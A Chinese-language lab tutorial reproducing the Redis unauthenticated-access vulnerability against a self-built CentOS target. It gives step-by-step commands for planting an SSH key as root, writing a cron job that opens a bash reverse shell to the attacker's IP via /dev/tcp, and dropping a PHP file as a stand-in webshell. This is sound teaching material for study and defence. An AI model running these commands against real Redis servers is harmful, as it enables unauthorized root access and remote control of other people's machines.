溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務(wù)條款》

redis漏洞復(fù)現(xiàn)的示例分析

發(fā)布時間:2022-01-05 17:50:08 來源:億速云 閱讀:181 作者:小新 欄目:安全技術(shù)

這篇文章給大家分享的是有關(guān)redis漏洞復(fù)現(xiàn)的示例分析的內(nèi)容。小編覺得挺實用的,因此分享給大家做個參考,一起跟隨小編過來看看吧。

一、漏洞簡介

什么是redis

和Memcached類似,它支持存儲的value類型相對更多,包括string(字符串)、list(鏈表)、set(集 合)、zset(sorted set --有序集 合)和hash(哈希類型)。這些數(shù)據(jù)類型都支持push/pop、add/remove及取交集并集和差集及更豐富的操作,而且這些操作都是原子性的。在此基礎(chǔ)上,redis支持各種不同方式的排序。與memcached一樣,為了保證效率,數(shù)據(jù)都是緩存在內(nèi)存中。區(qū)別的是redis會周期性的把更新的數(shù)據(jù)寫入磁盤或者把修改操作寫入追加的記錄文件,并且在此基礎(chǔ)上實現(xiàn)了master-slave(主從)同步。redis 是一個高性能的key-value數(shù)據(jù)庫。redis的出現(xiàn),很大程度補償了memcached這類key/value存儲的不足,在部 分場合可以對關(guān)系數(shù)據(jù)庫起到很好的補充作用。它提供了Java,C/C++,C#,PHP,JavaScript,Perl,Object-C,Python,Ruby,Erlang等客戶端,使用很方便。

redis未授權(quán)訪問漏洞

redis 默認(rèn)情況下,會綁定在 0.0.0.0:6379,,如果沒有進(jìn)行采用相關(guān)的策略,比如添加防火墻規(guī)則避免其他非信任來源 ip 訪問等,這樣會將 Redis 服務(wù)暴露到公網(wǎng)上,如果在沒有設(shè)置密碼認(rèn)證(一般為空)的情況下,會導(dǎo)致任意用戶在可以訪問目標(biāo)服務(wù)器的情況下未授權(quán)訪問 Redis 以及讀取 Redis 的數(shù)據(jù)。攻擊者在未授權(quán)訪問 Redis 的情況下,利用 Redis 自身的提供的config 命令,可以進(jìn)行寫文件操作。

漏洞的產(chǎn)生條件有以下兩點:

(1)redis綁定在 0.0.0.0:6379,且沒有進(jìn)行添加防火墻規(guī)則避免其他非信任來源 ip 訪問等相關(guān)安全策略,直接暴露在公網(wǎng);(2)沒有設(shè)置密碼認(rèn)證(一般為空),可以免密碼遠(yuǎn)程登錄redis服務(wù)。

本次復(fù)現(xiàn)主要是:

1. Redis以root身份運行,給root賬戶寫入SSH公鑰文件,直接通過SSH登錄受害服務(wù)器2.將文件寫入周期性計劃任務(wù),然后接受反彈shell3.如果搭建了web服務(wù)器,寫入webshell,控制服務(wù)器(此處因為是自己搭建的測試環(huán)境,只是將文件寫入了/tmp目錄,真實情況需要修改)

準(zhǔn)備環(huán)境:

攻擊機(jī)(kali):192.168.163.131(需要自己搭建redis-cli,和服務(wù)器端搭建步驟一樣)靶機(jī)(centos):192.168.163.132

二、環(huán)境搭建

(1)下載redis壓縮包

wget http://download.redis.io/releases/redis-2.8.17.tar.gz

redis漏洞復(fù)現(xiàn)的示例分析

(2)將壓縮包放入指定路徑,并且進(jìn)入指定路徑

cp redis-2.8.17.tar.gz /root/Desktop/redis/redis-2.8.17.tar.gzcd redis

redis漏洞復(fù)現(xiàn)的示例分析

(3)解壓壓縮包,進(jìn)入指定路徑redis-2.8.17,進(jìn)行安裝

tar xzf redis-2.8.17.tar.gzcd redis-2.8.17make

redis漏洞復(fù)現(xiàn)的示例分析

(4)進(jìn)入到src路徑下

redis漏洞復(fù)現(xiàn)的示例分析

(5)將redis-server和redis-cli拷貝到/usr/bin目錄下,后續(xù)方便直接啟動redis服務(wù)器并且將redis-2.8.17目錄下面的redis.conf拷貝到/etc下面

cp redis-server /usr/bincp redis-cli /usr/bincp redis.conf /etc/redis.conf

redis漏洞復(fù)現(xiàn)的示例分析

(6)啟動服務(wù)

redis-server /etc/redis.conf

redis漏洞復(fù)現(xiàn)的示例分析

三、漏洞復(fù)現(xiàn)

3.1 利用“公私鑰”認(rèn)證獲得root權(quán)限

(1)未授權(quán)訪問連接(無法連接)

redis-cli -h 192.168.163.132

redis漏洞復(fù)現(xiàn)的示例分析

(2)因為是本地搭建,沒有開啟6379端口對外開放,此處為了方便,直接關(guān)閉服務(wù)器(靶機(jī))的防火墻

/etc/init.d/iptables stop

redis漏洞復(fù)現(xiàn)的示例分析

(3)kali攻擊機(jī)未授權(quán)訪問連接

redis-cli -h 192.168.163.132keys *

redis漏洞復(fù)現(xiàn)的示例分析

(4)在攻擊機(jī)中生成ssh公鑰和私鑰,密碼設(shè)置為空:

ssh-keygen -t rsa

redis漏洞復(fù)現(xiàn)的示例分析

(5)進(jìn)入.ssh目錄,將生成的公鑰保存到1.txt:

cd /root/.ssh(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > 1.txt

redis漏洞復(fù)現(xiàn)的示例分析

(6)將保存ssh的公鑰1.txt寫入redis(使用redis-cli -h ip命令連接靶機(jī),將文件寫入):

cat 1.txt | redis-cli -h 192.168.163.132 -x set crack

redis漏洞復(fù)現(xiàn)的示例分析

(7)并使用 CONFIG GET dir 命令得到redis備份的路徑:

CONFIG GET dir

redis漏洞復(fù)現(xiàn)的示例分析

(8)更改redis備份路徑為ssh公鑰存放目錄(一般默認(rèn)為/root/.ssh),并且修改上傳公鑰文件的名稱為authorized_keys

config set dir /root/.sshCONFIG SET dbfilename authorized_keys

redis漏洞復(fù)現(xiàn)的示例分析

(9)檢查是否更改成功(查看有沒有authorized_keys文件),沒有問題就保存然后退出,至此成功寫入ssh公鑰到靶機(jī):

CONFIG GET dbfilenamesave

redis漏洞復(fù)現(xiàn)的示例分析

(10)查看服務(wù)器端已經(jīng)成功寫入

redis漏洞復(fù)現(xiàn)的示例分析

(11)攻擊機(jī)成功登陸到服務(wù)器

ssh -i id_rsa root@192.168.163.132

redis漏洞復(fù)現(xiàn)的示例分析

3.2利用crontab反彈shell

在權(quán)限足夠的情況下,利用redis寫入文件到周期性計劃任務(wù)執(zhí)行。(1)在kali攻擊機(jī)里面監(jiān)聽指定端口

nc -lvnp 8888

redis漏洞復(fù)現(xiàn)的示例分析(2)向服務(wù)器寫入文件

set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.163.131/8888 0>&1\n\n"config set dir /var/spool/cronconfig set dbfilename rootsave

redis漏洞復(fù)現(xiàn)的示例分析

(3)查看服務(wù)器端的寫入情況

redis漏洞復(fù)現(xiàn)的示例分析

(4)Kali攻擊機(jī)已經(jīng)可以連接了(得到了反彈shell)

redis漏洞復(fù)現(xiàn)的示例分析

3.3寫入webshell

此處因為是自己搭建的測試環(huán)境,只是將文件寫入了/tmp目錄,真實情況需要修改,將文件寫入web路徑(1)寫入文件到/tmp目錄

config set dir /tmpconfig set dbfilename shell.phpset webshell "<?php phpinfo(); ?>"save

redis漏洞復(fù)現(xiàn)的示例分析

(2)查看服務(wù)器

redis漏洞復(fù)現(xiàn)的示例分析

備注:寫入webshell的時候,可以使用:

set x "\r\n\r\n<?php phpinfo();?>\r\n\r\n"

\r\n\r\n代表換行的意思,用redis寫入的文件會自帶一些版本信息,如果不換行可能會導(dǎo)致無法執(zhí)行。

感謝各位的閱讀!關(guān)于“redis漏洞復(fù)現(xiàn)的示例分析”這篇文章就分享到這里了,希望以上內(nèi)容可以對大家有一定的幫助,讓大家可以學(xué)到更多知識,如果覺得文章不錯,可以把它分享出去讓更多的人看到吧!

向AI問一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進(jìn)行舉報,并提供相關(guān)證據(jù),一經(jīng)查實,將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI